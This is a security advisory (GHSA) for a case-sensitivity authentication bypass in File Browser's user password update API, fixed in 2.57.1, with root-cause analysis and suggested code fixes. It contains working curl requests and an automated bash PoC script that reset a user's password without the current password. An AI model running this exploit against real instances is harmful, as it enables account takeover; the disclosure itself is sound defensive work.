GHSA-hxw8-4h9j-hq2r File Browser has an Authentication Bypass in User Password Update

• Go github.com/filebrowser/filebrowser/v2: < 2.57.1 → fixed in 2.57.1

Security Advisory: Authentication Bypass in User Password Update Summary A case-sensitivity flaw in the password validation logic allows any authenticated user to change their password (or an admin to change any user's password) without providing the current password. By using Title Case field name `"Password"` instead of lowercase `"password"` in the API request, the `current_password` verification is completely bypassed. This enables account takeover if an attacker obtains a valid JWT token through XSS, session hijacking, or other means. CVSS Score: 7.5 (High) CWE: CWE-178 (Improper Handling of Case Sensitivity) --- Details The vulnerability exists in `http/users.go` in the `userPutHandler` function (lines 181-200). Vulnerable Code ```go // http/users.go:181-200 if d.settings.AuthMethod == auth.MethodJSONAuth { var sensibleFields = map[string]struct{}{ "all": {}, "username": {}, "password": {}, // lowercase "scope": {}, "lockPassword": {}, "commands": {}, "perm": {}, } for _, field := range req.Which { if _, ok := sensibleFields[field]; ok { // Case-sensitive lookup if !users.CheckPwd(req.CurrentPassword, d.user.Password) { return http.StatusBadRequest, fberrors.ErrCurrentPasswordIncorrect } break } } } ``` Root Cause 1. The `sensibleFields` map uses lowercase keys (e.g., `"password"`) 2. The lookup `sensibleFields[field]` is case-sensitive 3. When `req.Which` contains `"Password"` (Title Case), the lookup returns `false` 4. The password verification block is skipped entirely 5. Later in the code (line 229), field names are converted to Title Case for processing, so `"Password"` is a valid field name Attack Flow ``` 1. Attacker obtains victim's JWT token (via XSS, log leakage, etc.) 2. Attacker sends PUT /api/users/{id} with: • which: ["Password"] (Title Case - bypasses validation) • data.password: "attacker_password" • NO current_password field required 3. Password is changed without verification 4. Victim is locked out, attacker has full access ``` --- PoC Prerequisites • A valid JWT token for any user account • Target Filebrowser instance using JSON authentication (default) Reproduction Steps Step 1: Obtain a valid JWT token ```bash TOKEN=$(curl -s -X POST "http://target:8080/api/login" \ -H "Content-Type: application/json" \ -d '{"username":"victim","password":"victim_password"}') ``` Step 2: Attempt normal password change (should fail) ```bash curl -s -X PUT "http://target:8080/api/users/1" \ -H "X-Auth: $TOKEN" \ -H "Content-Type: application/json" \ -d '{ "what": "user", "which": ["password"], "data": {"id": 1, "password": "NewPassword123456"} }' Response: 400 Bad Request (the current password is incorrect) ``` Step 3: Bypass with Title Case (succeeds without current_password) ```bash curl -s -X PUT "http://target:8080/api/users/1" \ -H "X-Auth: $TOKEN" \ -H "Content-Type: application/json" \ -d '{ "what": "user", "which": ["Password"], "data": {"id": 1, "password": "HackedPassword123"} }' Response: 200 OK ``` Step 4: Verify account takeover ```bash Original password no longer works curl -s -X POST "http://target:8080/api/login" \ -d '{"username":"victim","password":"victim_password"}' Response: 403 Forbidden New password works curl -s -X POST "http://target:8080/api/login" \ -d '{"username":"victim","password":"HackedPassword123"}' Response: Valid JWT token ``` Automated PoC Script ```bash !/bin/bash Usage: ./poc.sh TARGET="$1" USERNAME="$2" CURRENT_PASS="$3" NEW_PASS="$4" Login TOKEN=$(curl -s -X POST "$TARGET/api/login" \ -H "Content-Type: application/json" \ -d "{\"username\":\"$USERNAME\",\"password\":\"$CURRENT_PASS\"}") Get user ID from token USER_ID=$(echo "$TOKEN" | python3 -c " import sys,json,base64 parts=input().split('.') payload=json.loads(base64.b64decode(parts[1]+'==')) print(payload['user']['id']) ") Exploit: Change password without current_password curl -s -X PUT "$TARGET/api/users/$USER_ID" \ -H "X-Auth: $TOKEN" \ -H "Content-Type: application/json" \ -d "{ \"what\": \"user\", \"which\": [\"Password\"], \"data\": {\"id\": $USER_ID, \"password\": \"$NEW_PASS\"} }" echo "Password changed to: $NEW_PASS" ``` --- Impact Who is Impacted • All Filebrowser users using JSON authentication method (default configuration) • Any user whose JWT token can be obtained by an attacker • Particularly high-value targets: administrator accounts Attack Scenarios | Scenario | Impact | |----------|--------| | XSS + Token Theft | Complete account takeover | | JWT in Server Logs | Mass account compromise | | Shared Computer | Session hijacking | | Malicious Browser Extension | Credential theft | Security Impact | Category | Severity | |----------|----------| | Confidentiality | High - Attacker gains full account access | | Integrity | High - Attacker can modify all user data | | Availability | High - Legitimate user locked out | Scope • The vulnerability affects password modification only • Other sensitive fields (`Username`, `Scope`, `Perm`, etc.) have additional protection via `NonModifiableFieldsForNonAdmin` check • However, for administrators, all fields can be modified using this bypass technique --- Suggested Fix Option 1: Case-insensitive field matching (Recommended) ```go // Convert field to lowercase before checking for _, field := range req.Which { if _, ok := sensibleFields[strings.ToLower(field)]; ok { if !users.CheckPwd(req.CurrentPassword, d.user.Password) { return http.StatusBadRequest, fberrors.ErrCurrentPasswordIncorrect } break } } ``` Option 2: Use Title Case in sensibleFields ```go var sensibleFields = map[string]struct{}{ "All": {}, "Username": {}, "Password": {}, // Title Case to match post-transformation "Scope": {}, "LockPassword": {}, "Commands": {}, "Perm": {}, } // Check AFTER field name transformation for k, v := range req.Which { v = cases.Title(language.English, cases.NoLower).String(v) req.Which[k] = v // Now check with Title Case if _, ok := sensibleFields[v]; ok { if !users.CheckPwd(req.CurrentPassword, d.user.Password) { return http.StatusBadRequest, fberrors.ErrCurrentPasswordIncorrect } break } } ``` --- References • Affected File: `http/users.go` • Affected Lines: 181-200 • Related Code: `NonModifiableFieldsForNonAdmin` (line 17)